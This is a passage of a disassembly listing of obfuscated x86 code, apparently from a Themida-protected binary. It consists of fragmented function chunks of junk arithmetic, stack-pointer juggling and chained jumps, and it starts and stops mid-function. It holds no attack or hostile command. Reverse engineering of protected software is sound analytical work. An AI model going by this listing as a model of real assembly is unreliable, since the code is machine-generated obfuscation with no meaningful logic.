		sub	ah, 0E0h
		jmp	loc_58CA29
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------


loc_58C9E1:				; CODE XREF: Themida_:0058DCDBj
		shr	ebx, 8
		jmp	loc_59725F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58C9E9:				; CODE XREF: sub_58C17E+3Dj
		xchg	eax, edx
		dec	edx
		dec	edx
		add	edx, 91AC0334h
		jmp	loc_590F16
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------


loc_58C9F7:				; CODE XREF: Themida_:0059776Ej
		add	eax, edi
		sub	eax, 58BF48F3h
		push	dword ptr [esp]
		pop	edi
		jmp	loc_596F5B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58CA07:				; CODE XREF: sub_58C17E+B88Ej
		cmp	eax, edx
		jz	loc_59259A
		push	6E1Eh
		mov	[esp+6+var_8+2], edx
		push	ecx
		push	5855664h
		pop	ecx
		sub	ecx, 99D31F3h
		jmp	loc_58B095
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_58CA29:				; CODE XREF: sub_5916C4-4CE8j
		add	ah, 66h
		add	dh, ah
		mov	eax, [esp-12h+arg_C+2]
		add	esp, 4
		push	ecx
		jmp	loc_5958BF
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595655


loc_58CA3D:				; CODE XREF: sub_595655+1A01j
		or	eax, 0B897B03h
		jmp	loc_597F78
; END OF FUNCTION CHUNK	FOR sub_595655
; ---------------------------------------------------------------------------


loc_58CA47:				; CODE XREF: Themida_:00596EA7j
		sub	ax, dx
		add	ax, 3C8Bh
		sub	ax, 1C2Eh
		pop	edx
		mov	bx, [esp]
		add	esp, 2
		push	ax
		mov	ax, 2095h
		add	bx, ax
		mov	ax, [esp]
		jmp	loc_59501C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F091


loc_58CA6C:				; CODE XREF: sub_58F091:loc_58C5E8j
		not	edi
		push	35Fh
		jmp	loc_58B44B
; END OF FUNCTION CHUNK	FOR sub_58F091
; ---------------------------------------------------------------------------


loc_58CA78:				; CODE XREF: Themida_:0058BD41j
		xor	ebx, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, esp
		push	edx
		jmp	loc_58C457
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_58CA87:				; CODE XREF: sub_5916C4-3D9Ej
		xor	bl, al
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	edi
		mov	edi, 43781F68h
		jmp	loc_59122E
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------


loc_58CA9A:				; CODE XREF: Themida_:0058B118j
		pop	ecx
		xor	ecx, 6EC6244Dh
		pop	edx
		and	ecx, 58E405F3h
		sub	ecx, 5060040Fh
		add	eax, ecx
		pop	ecx
		push	edx
		mov	edx, 4
		add	eax, edx
		pop	edx
		xor	eax, [esp]
		jmp	loc_58E8B0
; ---------------------------------------------------------------------------


loc_58CAC2:				; CODE XREF: Themida_:0058BA53j
		push	eax
		mov	eax, 2FCC5788h
		shr	eax, 6
		jmp	loc_58AB21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58CAD0:				; CODE XREF: sub_58C17E+C88j
		push	4E88h
		jmp	loc_58F7BC
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590010


loc_58CADA:				; CODE XREF: Themida_:00590553j
					; sub_590010+1B20j
		add	ebp, 7461519h
		sub	ebp, 613E0866h
		add	ebp, esi
		jmp	loc_59380A
; END OF FUNCTION CHUNK	FOR sub_590010
; ---------------------------------------------------------------------------


loc_58CAED:				; CODE XREF: Themida_:0059156Ej
					; Themida_:00593F30j
		sub	dl, 56h
		mov	cl, dl
		jmp	loc_58E249
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58CAF7:				; CODE XREF: sub_58C17E+9637j
		pop	ecx
		add	edx, 4
		jmp	loc_58E145
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_58CB00:				; CODE XREF: sub_5EC2E8-5A98Cj
		push	[esp+24h+var_20]
		pop	ebp
		pop	[esp+24h+var_24]
		pop	esp
		cmp	cx, ax
		pushf
		jmp	loc_596923
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------


loc_58CB12:				; CODE XREF: Themida_:00594FC6j
		inc	ebp
		jl	loc_58F478
		dec	ebp
		jmp	loc_58C13B
; ---------------------------------------------------------------------------
		sub	ebp, 836A7E70h
		push	edi
; START	OF FUNCTION CHUNK FOR sub_59762D


loc_58CB26:				; CODE XREF: sub_59762D:loc_58F6A0j
		sub	edx, 7C198C65h
		jmp	loc_59258A
; END OF FUNCTION CHUNK	FOR sub_59762D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594131


loc_58CB31:				; CODE XREF: sub_594131+Ej
		push	eax
		mov	eax, 54113F26h
		sub	ebx, eax
		pop	eax
		add	ebx, 45BED362h
		add	edi, ebx
		pop	ebx
		push	ecx
		jmp	loc_58F072
; END OF FUNCTION CHUNK	FOR sub_594131
; ---------------------------------------------------------------------------


loc_58CB49:				; CODE XREF: Themida_:0059144Ej
		push	esp
		jmp	loc_58A4B6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F013


loc_58CB4F:				; CODE XREF: sub_58F013+37C9j
		pop	ebp
		push	5DE9h
		mov	[esp+4+var_4], ecx
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_58DA19
; END OF FUNCTION CHUNK	FOR sub_58F013
; ---------------------------------------------------------------------------


loc_58CB62:				; CODE XREF: Themida_:00590D59j
		push	dword ptr [esp+4]
		jmp	loc_58F866
; ---------------------------------------------------------------------------


loc_58CB6B:				; CODE XREF: Themida_:0058C908j
		push	4CBBh
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	edx, [esp]
		jmp	loc_58F492
; ---------------------------------------------------------------------------


loc_58CB7F:				; CODE XREF: Themida_:0058C5D5j
		push	1B78h
		jmp	loc_59560B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58CB89:				; CODE XREF: sub_58C17E-14EFj
		mov	bl, al
		mov	dl, bl
		mov	ebx, [esp+0]
		add	esp, 4
		mov	bl, dl
		mov	edx, [esp+0Ch+var_C]
		add	esp, 4
		pop	eax
		jmp	loc_5977E9
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591059


loc_58CBA4:				; CODE XREF: sub_591059+3CC8j
		xor	ebx, eax
		jmp	loc_594090
; END OF FUNCTION CHUNK	FOR sub_591059
; ---------------------------------------------------------------------------


loc_58CBAB:				; CODE XREF: Themida_:0058C7CBj
		lodsb
		sub	esp, 4
		jmp	loc_591462
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58CBB7:				; CODE XREF: sub_5948B7-4595j
					; sub_58C17E+AE1Dj
		jp	loc_593299
		shl	ebx, 2
		jz	loc_58D770
		sub	ebx, 52F96193h
		jmp	loc_58F614
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5919E2


loc_58CBD1:				; CODE XREF: sub_5919E2-63FCj
		add	esi, 0C9A36DB7h
		jmp	loc_595564
; END OF FUNCTION CHUNK	FOR sub_5919E2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58CBDC:				; CODE XREF: sub_58C17E+BEDCj
		pop	ebx
		add	eax, 4
		xchg	eax, [esp+0]
		mov	esp, [esp+0]
		jmp	loc_58A569
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590010


loc_58CBED:				; CODE XREF: sub_590010+43E6j
		add	ecx, 0E4CF820Dh
		mov	esi, ecx
		pop	ecx
		jmp	loc_594806
; END OF FUNCTION CHUNK	FOR sub_590010
; ---------------------------------------------------------------------------


loc_58CBFB:				; CODE XREF: Themida_:0058ACD3j
		sub	ebx, 0DB9F9089h
		sub	esi, 7C276857h
		add	esi, ebx
		push	edx
		mov	edx, 7AA54AAh
		add	edx, 41F3301Fh
		shr	edx, 6
		sub	edx, 49C51A9Ch
		sub	edx, 3BB00155h
		sub	edx, 0FF89F1CBh
		jmp	loc_58DFEC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_58CC2F:				; CODE XREF: sub_5EC2E8-61D57j
		push	ecx
		mov	ch, ah
		mov	bh, ch
		pop	ecx
		jmp	loc_596C4E
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------


loc_58CC3A:				; CODE XREF: Themida_:00591539j
		jno	loc_58BFC7
		push	ecx
		push	ebx
		mov	ebx, 7DA0097Bh
		mov	al, 4Dh
		mov	edi, edi
; START	OF FUNCTION CHUNK FOR sub_58E3A6


loc_58CC4B:				; CODE XREF: sub_58E3A6-31A6j
		and	edi, 2CC43FC1h
		inc	edi
		add	edi, 306B5E36h
		add	edx, edi
		pop	edi
		sub	esp, 4
		mov	[esp-4+arg_0], ecx
		jmp	loc_592B77
; END OF FUNCTION CHUNK	FOR sub_58E3A6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F091


loc_58CC69:				; CODE XREF: sub_58F091+1238j
		pop	ebp
		and	ecx, edi
		mov	edi, [esp+4+var_4]
		jmp	sub_58DBC4
; END OF FUNCTION CHUNK	FOR sub_58F091
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590010


loc_58CC74:				; CODE XREF: sub_590010-D43j
		xchg	edi, [esp+0]
		pop	esp
		shr	ecx, 0Bh
		push	6C04h
		mov	[esp+0], edi
		push	ebx
		sub	[esp+4+var_4], 451B6CF4h
		jmp	loc_59124E
; END OF FUNCTION CHUNK	FOR sub_590010
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_58CC90:				; CODE XREF: sub_5916C4-608Dj
		mov	bh, 0
		add	al, bh
		jmp	loc_58C58D
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------


loc_58CC99:				; CODE XREF: Themida_:0059537Aj
		inc	ecx
		sub	ecx, 20490312h
		jmp	loc_594593
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_58CCA5:				; CODE XREF: sub_5916C4+4F93j
		push	4223h
		mov	[esp+0], edi
		push	160Eh
		jmp	loc_596DEA
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595E21


loc_58CCB7:				; CODE XREF: sub_595E21-7232j
		dec	ebx
		jle	loc_595637
		dec	ebx
		jnp	loc_59490B
		shr	ebx, 7
		jns	loc_592882
		sub	ebx, 0FFFDBA48h
		push	ebx
		pop	edi
		pop	ebx
		jmp	loc_5919CC
; END OF FUNCTION CHUNK	FOR sub_595E21
; ---------------------------------------------------------------------------
		pop	ecx


loc_58CCDD:				; CODE XREF: Themida_:0058BC8Cj
		add	esi, 4
		add	esi, 4
		push	esi
		jmp	loc_591632
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595258


loc_58CCEF:				; CODE XREF: sub_595258-530Dj
		pop	eax
		add	ebx, edi
		pop	edi
		xor	ebx, [esp+14h+var_14]
		jmp	loc_5971A0
; END OF FUNCTION CHUNK	FOR sub_595258
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58CCFB:				; CODE XREF: sub_58C17E+5F78j
		add	esi, 4
		xchg	esi, [esp+0]
		pop	esp
		jmp	loc_592689
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590B70


loc_58CD07:				; CODE XREF: sub_590B70+DA2j
					; Themida_:0059639Fj
		sub	esi, eax
		pop	eax
		sub	ebx, esi
		pop	esi
		add	eax, [ebx]
		pop	ebx
		jmp	loc_595ED8
; END OF FUNCTION CHUNK	FOR sub_590B70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_58CD15:				; CODE XREF: sub_58F5B5+1785j
		add	ebx, 4
		jmp	loc_590DB4
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592D12


loc_58CD20:				; CODE XREF: sub_592D12-6B99j
		mov	esp, [esp-0Ch+arg_8]
		mov	ax, word ptr [esp-0Ch+arg_8]
		push	edx
		mov	edx, esp
		jmp	sub_58B4D6
; END OF FUNCTION CHUNK	FOR sub_592D12
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	byte ptr [esp],	cl
		pushf
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------


loc_58CD3E:				; CODE XREF: Themida_:0058E93Ej
		shr	esi, 4
		shr	esi, 6
		push	ecx
		mov	ecx, 67740DDh
		xor	ecx, 52DC3C7Bh
		shr	ecx, 1
		shl	ecx, 7
		shl	ecx, 6
		sub	ecx, 8D7A125Ah
		jmp	loc_595862
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_58CD63:				; CODE XREF: sub_5916C4-62FFj
		mov	ebp, 4
		add	esi, ebp
		pop	ebp
		add	esi, 2
		xchg	esi, [esp-8+arg_4]
		pop	esp
		push	ebx
		push	eax
		mov	ah, dl
		jmp	loc_593802
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------


loc_58CD7B:				; CODE XREF: Themida_:00592263j
		ja	loc_5945E0
		shr	edi, 6
		sub	edi, 71E80F89h
		push	edx


loc_58CD8B:				; CODE XREF: Themida_:0058B970j
		sub	ebx, 0C624216Bh
		add	edx, ebx
		pop	ebx
		not	edx
		push	edi
		push	ebx
		mov	ebx, 2551AC0h
		mov	edi, ebx
		pop	ebx
		shr	edi, 7
		push	eax
		mov	eax, 664F4D78h
		neg	eax
		neg	eax
		inc	eax
		jmp	loc_59793C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_58CDB3:				; CODE XREF: sub_590467-5B72j
		or	esi, 73995CAFh
		sub	esi, 62F52DA8h
		mov	eax, esi
		pop	esi
		and	eax, 770F001Ah
		sub	eax, 1506000Eh
		add	ebp, eax
		pop	eax
		push	eax
		mov	eax, 4
		sub	ebp, eax
		pop	eax
		push	ebp
		jmp	loc_58DDCC
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	eax
		adc	[esp], eax
		pushf
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_58CDEC:				; CODE XREF: sub_5916C4+5421j
		or	ebx, esi
		pop	esi
		push	ecx
		jmp	loc_591F45
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58CDF5:				; CODE XREF: sub_58C17E+523j
					; Themida_:00591DD0j
		add	eax, esi
		add	eax, 7F37C2Eh
		pop	esi
		mov	edi, [esp-0Eh+arg_8+2]
		add	esp, 4
		jmp	loc_58CAD0
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_58CE0B:				; CODE XREF: sub_5EC2E8-60559j
		mov	cl, 0D2h
		and	cl, 0DCh
		jmp	loc_5958F0
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------


loc_58CE15:				; CODE XREF: Themida_:00594F7Aj
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_590D2B
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	eax
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		push	esi
		jmp	loc_58DB8E
; ---------------------------------------------------------------------------


loc_58CE33:				; CODE XREF: Themida_:00591B38j
		add	edx, 4
		push	5604h
		mov	[esp], edi
		push	ebp
		jmp	loc_5912F5
; ---------------------------------------------------------------------------


loc_58CE47:				; CODE XREF: Themida_:0058EE4Dj
		add	esp, 4
		push	ebp
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_594F22
; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_595A2C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58CE6C:				; CODE XREF: sub_58C17E+4BE6j
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp-12h+arg_C+2]
		jmp	loc_58BACA
; ---------------------------------------------------------------------------


loc_58CE7F:				; CODE XREF: sub_58C17E+3096j
		add	esp, 4
		jmp	loc_594C16
; ---------------------------------------------------------------------------


loc_58CE8A:				; CODE XREF: sub_58C17E-18Bj
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp+2+var_4+2]
		xor	[esp+2+var_4+2], ebx
		xor	ebx, [esp+2+var_4+2]
		pop	esp
		push	esi
		mov	esi, 120C6F33h
		or	esi, 3A3140B0h
		jmp	loc_58B5BA
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916CB


loc_58CEB1:				; CODE XREF: sub_5916CB-37A8j
		mov	esp, [esp+0]
		jmp	loc_58FFD3
; END OF FUNCTION CHUNK	FOR sub_5916CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58CEB9:				; CODE XREF: sub_58C17E+6E18j
		mov	[esp+2+var_4+2], esp
		push	ebx
		jmp	loc_58A6FB
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_58CEC2:				; CODE XREF: sub_58C17E+5EB8j
					; sub_5EC2E8-55F1Dj
		mov	eax, 6A6A1FC9h
		add	edi, eax
		pop	eax
		jmp	loc_596B92
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------


loc_58CECF:				; CODE XREF: Themida_:00593376j
		pop	eax
		pop	edi
		push	edx
		jmp	loc_5940F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58CED7:				; CODE XREF: sub_58C17E+6506j
		jmp	loc_594B2B
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59762D


loc_58CEDC:				; CODE XREF: sub_59762D-25A8j
		mov	cl, 71h
		xor	dh, cl
		mov	cx, [esp+0]
		add	esp, 2
		sub	al, 0D5h
		push	bx
		mov	bh, 0CAh
		add	al, bh
		pop	bx
		add	al, dh
		sub	al, 0CAh
		jmp	loc_58F85F
; END OF FUNCTION CHUNK	FOR sub_59762D
; ---------------------------------------------------------------------------


loc_58CEFD:				; CODE XREF: Themida_:00595A4Cj
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edi
		jmp	loc_597779
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59762D


loc_58CF15:				; CODE XREF: sub_59762D-A3Ej
		mov	eax, 0F4EB65A1h
		xor	edx, eax
		pop	eax
		sub	ebp, edx
		pop	edx
		xor	ebp, 147A1EB1h
		not	ebp
		jmp	loc_591823
; END OF FUNCTION CHUNK	FOR sub_59762D
; ---------------------------------------------------------------------------


loc_58CF2D:				; CODE XREF: Themida_:0058FA75j
		sub	esi, ebp
		pop	ebp
		xor	esi, [esp]
		jmp	loc_59182E
; ---------------------------------------------------------------------------


loc_58CF38:				; CODE XREF: Themida_:0058E373j
		add	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_58A570
; ---------------------------------------------------------------------------


loc_58CF48:				; CODE XREF: Themida_:0058D552j
		mov	eax, esp
		add	eax, 4
		sub	esp, 4
		jmp	loc_592629
; ---------------------------------------------------------------------------


loc_58CF57:				; CODE XREF: Themida_:005918D7j
		push	ebx
		jmp	loc_594B65
; ---------------------------------------------------------------------------


loc_58CF5D:				; CODE XREF: Themida_:00596EB3j
		xor	bl, 0C2h
		jmp	loc_592BE2
; ---------------------------------------------------------------------------


loc_58CF65:				; CODE XREF: Themida_:00597E7Aj
		sub	edx, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_58EBF4
; ---------------------------------------------------------------------------


loc_58CF73:				; CODE XREF: Themida_:0058DB21j
		dec	ah
		inc	ah
		not	ah
		push	edx
		mov	dl, 0D1h
		shl	dl, 7
		or	dl, 0B9h
		xor	dl, 0EBh
		sub	dl, 66h
		add	dl, 7Bh
		xor	ah, dl
		pop	edx
		add	ah, 4
		xor	ch, ah
		pop	eax
		xor	al, ch
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5970CF
; ---------------------------------------------------------------------------
		lodsd
		push	edx
		mov	edx, 8E67C52h
		sub	edx, 52970E08h
		push	3934h
		mov	[esp], ecx
		jmp	loc_58BCAC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58CFC1:				; CODE XREF: sub_58C17E+BB0Fj
		pop	ebx
		and	eax, ecx
		mov	ecx, [esp+2+var_4+2]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		push	ebx
		push	[esp+0Ah+var_8+2]
		jmp	loc_590B34
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------


loc_58CFDD:				; CODE XREF: Themida_:005951E9j
		mov	ebx, 235F13A0h
		add	eax, ebx
		pop	ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_5920BB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595123


loc_58CFF1:				; CODE XREF: sub_595123+288Fj
		mov	esp, [esp+0Ch+var_C]
		jmp	loc_58AFE2
; END OF FUNCTION CHUNK	FOR sub_595123
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916CB


loc_58CFF9:				; CODE XREF: sub_5916CB-24Fj
		add	esi, 4
		push	ecx
		mov	ecx, 614D1066h
		sub	ecx, 614D1062h
		sub	esi, 6823399h
		add	esi, ecx
		add	esi, 6823399h
		pop	ecx
		xchg	esi, [esp+0Ch+var_C]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	eax
		push	ebx
		mov	ebx, 1
		mov	eax, ebx
		pop	ebx
		push	3E0Dh
		mov	[esp+10h+var_10], edx
		mov	edx, 24h
		sub	esp, 4
		mov	[esp+14h+var_14], ebp
		mov	ebp, 382A50DFh
		sub	edx, ebp
		mov	ebp, [esp+14h+var_14]
		jmp	loc_58F39F
; END OF FUNCTION CHUNK	FOR sub_5916CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_58D051:				; CODE XREF: sub_5EC2E8-606CAj
		xor	eax, 79FA75FFh
		jmp	loc_594734
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58D05B:				; CODE XREF: sub_5919E2-3E72j
					; sub_58C17E+5E61j
		mov	[esp+0], esi
		pop	eax
		pop	esi
		push	ebp
		push	ebx
		sub	esp, 4
		mov	[esp+0], ecx
		jmp	loc_58F4D9
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------


loc_58D06D:				; CODE XREF: Themida_:0058F17Bj
		pop	eax
		pop	ecx
		add	ecx, ebp
		jmp	loc_58A84F
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_596D4E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58D085:				; CODE XREF: sub_58C17E+8AADj
		mov	eax, 4
		sub	esi, 7F1C3ED0h
		add	esi, eax
		add	esi, 7F1C3ED0h
		mov	eax, [esp+0]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+0]
		jmp	loc_592E13
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------


loc_58D0AE:				; CODE XREF: Themida_:0058E1BDj
					; Themida_:0058E477j
		add	esp, 4
		add	ebp, 4
		jmp	loc_594542
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_58D0BC:				; CODE XREF: sub_5EC2E8-612D9j
		add	esp, 4
		sub	ecx, 5A597F45h
		add	ecx, edi
		add	ecx, 5A597F45h
		push	eax
		pop	dword ptr [ecx]
		mov	ecx, [esp+20h+var_20]
		jmp	loc_58D8FC
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------


loc_58D0D8:				; CODE XREF: Themida_:0058C35Bj
		mov	[esp], ecx
		jmp	loc_5964A4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_58D0E0:				; CODE XREF: sub_58F5B5-19F6j
		add	ecx, 4
		jmp	sub_5951B9
; END OF FUNCTION CHUNK	FOR sub_58F5B5

; =============== S U B	R O U T	I N E =======================================



sub_58D0EB	proc near		; CODE XREF: sub_58C17E-FCBj

; FUNCTION CHUNK AT 0058DC19 SIZE 00000010 BYTES

		push	ebx
		jmp	loc_58DC19
sub_58D0EB	endp

; ---------------------------------------------------------------------------


loc_58D0F1:				; CODE XREF: Themida_:0059419Dj
		add	ebp, esi
		pop	esi
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 4
		add	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		sub	ecx, 2
		jmp	loc_58AC94
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_58D116:				; CODE XREF: sub_58C17E-1D26j
		mov	eax, esp
		sub	esp, 4
		mov	[esp+8+var_8], esi
		jmp	loc_58BEDD
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5951B9


loc_58D126:				; CODE XREF: sub_5951B9+9j
		push	dword ptr [esp+4]
		mov	ecx, [esp+8+var_8]
		jmp	loc_594ED0
; END OF FUNCTION CHUNK	FOR sub_5951B9
; ---------------------------------------------------------------------------


loc_58D132:				; CODE XREF: Themida_:0058F797j
		neg	eax
		add	eax, 132D8622h
		sub	edi, eax
		pop	eax
		pop	eax
		xor	edx, edi
		pop	edi
		or	[edi+1Ch], edx
		pop	edx
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595BDA


loc_58D149:				; CODE XREF: sub_592D25-1BC1j
					; sub_595BDA-2112j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+0]
		pop	esp
		sub	esp, 4
		mov	[esp+0], ecx
		jmp	loc_594B4F
; END OF FUNCTION CHUNK	FOR sub_595BDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_58D164:				; CODE XREF: sub_590467-5D2Fj
					; Themida_:00592DD2j
		neg	cl
		ja	loc_58EB56
		push	eax
		mov	al, 0B8h
		or	al, 0DCh
		and	al, 0B8h
		xor	al, 95h
		shl	al, 3
		dec	al
		add	al, 54h
		or	cl, al
		pop	eax
		and	cl, 4Dh
		jb	loc_58FB59
		add	cl, 0F9h
		mov	bh, cl
		push	[esp-4+arg_0]
		jmp	loc_596CAB
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_593237
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590010


loc_58D1A1:				; CODE XREF: sub_590010-7FEj
		mov	esi, 4100C26Fh
		push	ebx
		mov	ebx, 560E4288h
		sub	ecx, ebx
		jmp	loc_591389
; END OF FUNCTION CHUNK	FOR sub_590010
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594654


loc_58D1B3:				; CODE XREF: sub_594654-51A7j
		mov	esi, ecx
		jmp	loc_5977BA
; END OF FUNCTION CHUNK	FOR sub_594654
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5909B4


loc_58D1BA:				; CODE XREF: sub_5909B4+6CCj
		pop	eax
		inc	eax
		add	eax, 1625718Ah
		add	ebx, eax
		pop	eax
		jmp	loc_58FC72
; END OF FUNCTION CHUNK	FOR sub_5909B4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59524C


loc_58D1C9:				; CODE XREF: sub_59524C-92C3j
		sub	ebx, 2A7C5613h
		sub	ebx, 3558747Fh
		add	ebx, edx
		add	ebx, 3558747Fh
		add	ebx, 2A7C5613h
		pop	edx
		and	eax, ebx
